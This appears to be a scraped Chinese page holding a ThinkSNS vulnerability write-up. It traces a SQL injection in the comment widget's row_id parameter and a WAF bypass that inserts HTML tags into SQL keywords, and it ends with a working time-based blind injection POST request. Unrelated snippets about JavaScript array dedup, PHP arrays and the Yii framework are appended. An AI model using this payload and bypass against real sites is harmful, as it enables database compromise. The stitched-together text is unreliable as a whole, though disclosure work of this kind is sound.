return array 评论添加状态和提示信息

ThinkSNS漏洞系列第一弹,某处处理不当导致SQL注入

漏洞点出现在Comment Widget里:

\addons\widget\CommentWidget\CommentWidget.class.php:138
/**
* 添加评论的操作
*
* @return array 评论添加状态和提示信息
*/
public function addcomment() {
// 返回结果集默认值
$return = array (
‘status‘ => 0,
‘data‘ => L ( ‘PUBLIC_CONCENT_IS_ERROR‘ )
);
// 获取接收数据
$data = $_POST;
// 安全过滤
foreach ( $data as $key => $val ) {
$data [$key] = t ( $data [$key] );
}
// 评论所属与评论内容
$data [‘app‘] = $data [‘app_name‘];
$data [‘table‘] = $data [‘table_name‘];
$data [‘content‘] = h ( $data [‘content‘] );
// 判断资源是否被删除
$dao = M ( $data [‘table‘] );
$idField = $dao->getPk ();
$map [$idField] = $data [‘row_id‘];
$sourceInfo = $dao->where ( $map )->find ();
if (! $sourceInfo) {2881064151
$return [‘status‘] = 0;
$return [‘data‘] = ‘内容已被删除,评论失败‘;
exit ( json_encode ( $return ) );
}
... ... ... ... ... ...
// 添加评论操作
$data [‘comment_id‘] = model ( ‘Comment‘ )->addComment ( $data );
if ($data [‘comment_id‘]) {
$return [‘status‘] = 1;
$return [‘data‘] = $this->parseComment ( $data );
// 同步到微吧
if ($data [‘app‘] == ‘weiba‘)$this->_upateToweiba ( $data );
... ... ... ... ...
}
$_POST经过$data [$key] = t( $data [$key] )后成为$data。
然后添加评论后会根据$data[‘app‘]选择同步到哪些应用中去,比如:
// 同步到微吧
if ($data [‘app‘] == ‘weiba‘)
$this->_upateToweiba ( $data );
\addons\widget\CommentWidget\CommentWidget.class.php:252:
// 同步到微吧
function _upateToweiba($data) {
$postDetail = D ( ‘weiba_post‘ )->where ( ‘feed_id=‘ . $data [‘row_id‘] )->find ();
if (! $postDetail)
return false;
... ... ... ... ...
}
$data[‘row_id‘]进入$postDetail = D ( ‘weiba_post‘ )->where ( ‘feed_id=‘ . $data [‘row_id‘] )->find (),两边没有单引号包围。
而$data[‘row_id‘]是前台可控的变量,来自$_POST[‘row_id‘],so,这里就存在SQL注入了。
由于ThinkSNS前台有WAF,因此需要结合t()来绕过:
\core\OpenSociax\functions.inc.php:630
/**
* t函数用于过滤标签,输出没有html的干净的文本
* @param string text 文本内容
* @return string 处理后内容
*/
function t($text){
$text = nl2br($text);
$text = real_strip_tags($text);
$text = addslashes($text);
$text = trim($text);
return $text;
}
经过t()的变量都会过real_strip_tags($text):
\core\OpenSociax\functions.inc.php:2274
function real_strip_tags($str, $allowable_tags="") {
$str = html_entity_decode($str,ENT_QUOTES,‘UTF-8‘);
return strip_tags($str, $allowable_tags);
}
而real_strip_tags($text)里的strip_tags($str, $allowable_tags)会过滤掉tag,所以在SQL关键字中插入tag就能bypass waf,最后成为可以被利用的SQL注入。
基于时间的盲注,POST请求都要带上正确的referer。
POST /index.php?app=widget&mod=Comment&act=addcomment&uid=1
app_name=weiba&table_name=user&content=test&row_id=2 a<a>nd 0=sle<a>ep(2);-- -&app_detail_summary=

时间: 2024-08-17 05:10:53

return array 评论添加状态和提示信息的相关文章

为Array对象添加一个去重的方法(ES5和ES6的实现)

输入一个例子 [false, true, undefined, null, NaN, 0, 1, {}, {}, 'a', 'a', NaN].uniq() 需要输出 [false, true, undefined, null, NaN, 0, 1, {}, {}, 'a'] 分析 题目要求给Array添加方法,所以我们需要用到prototype,数组去重本身算法不是很难,但是在Javascript中很多人会忽视NaN的存在,因为JS中NaN != NaN 在不考虑NaN的情况下我是使用inde

php 显示php 中数组return Array

php 读取文本中数组,修改指定数组键值.达到统计下载文件排行. <?php header("Content-type:text/html;charset=utf-8");if(isset($_GET['down_id']) && !empty($_GET['down_id'])){ $down_id = $_GET['down_id']; $file='down_id.php'; $du = require_once($file); arsort($du); i

php获取文件 return array数组的值

array.php的代码如下<?php    return    array("a"=>"1");?> 然后再创建一个echo.php,代码如下<?php    $indb=include("array.php");    print_r($indb);?>

php 获取一个文件中return array() 的值

<?php return array( 'name' => 'andy', 'sex' => 'male' ); ?> <?php $set = include("test.php"); print_r($set);exit; ?>

JavaScript 评论添加练习

JavaScript 评论添加练习 本次所学内容: //var str = '<li>'+value+'</li>'; 支付串和变量的拼接 //ul.innerHTML += str; 使用+=就相等于一个追加的功能 如果是字符串的数据想要转换成JSON数据 就可是使用JSON.parse()方法将这个转换成JSON数据.  parse里面存放的是要转化的数据类型 <!DOCTYPE html> <html lang="en"> <

Return array from functions in C++

C++ does not allow to return an entire array as an argument to a function. However, you can return a pointer to an array by specifying the array's name without an index. If you want to return a single-dimension array from a function, you would have t

numpy 往array里添加一个元素

首先这里p_arr为一个numpy的array,p_为一个元素 p_arr = np.concatenate((p_arr,[p_])) # 先将p_变成list形式进行拼接,注意输入为一个tuple p_arr = np.append(p_arr,p_) #直接向p_arr里添加p_ #注意一定不要忘记用赋值覆盖原p_arr不然不会变 原文地址:https://www.cnblogs.com/cymwill/p/8118135.html

关于动态给input添加状态

使用jq知识点只有一个,那就是要用prop()不要用attr(): 下面上页面图

yii 10.16

什么是框架? a)         框架就是一个半成品,一个帮助我们完成业务流程的程序 b)        框架融合了很多的功能,但是不会给我们具体功能模块 c)         我们需要在框架的基础上开发业务流程 为什么要使用框架? a)         提高开发效率 什么时候使用框架? a)         99%都在使用框架 4.    我们要学习的框架: a)         Yii(美籍华人) b)        ThinkPHP(中国人) Yii框架的介绍: a)         是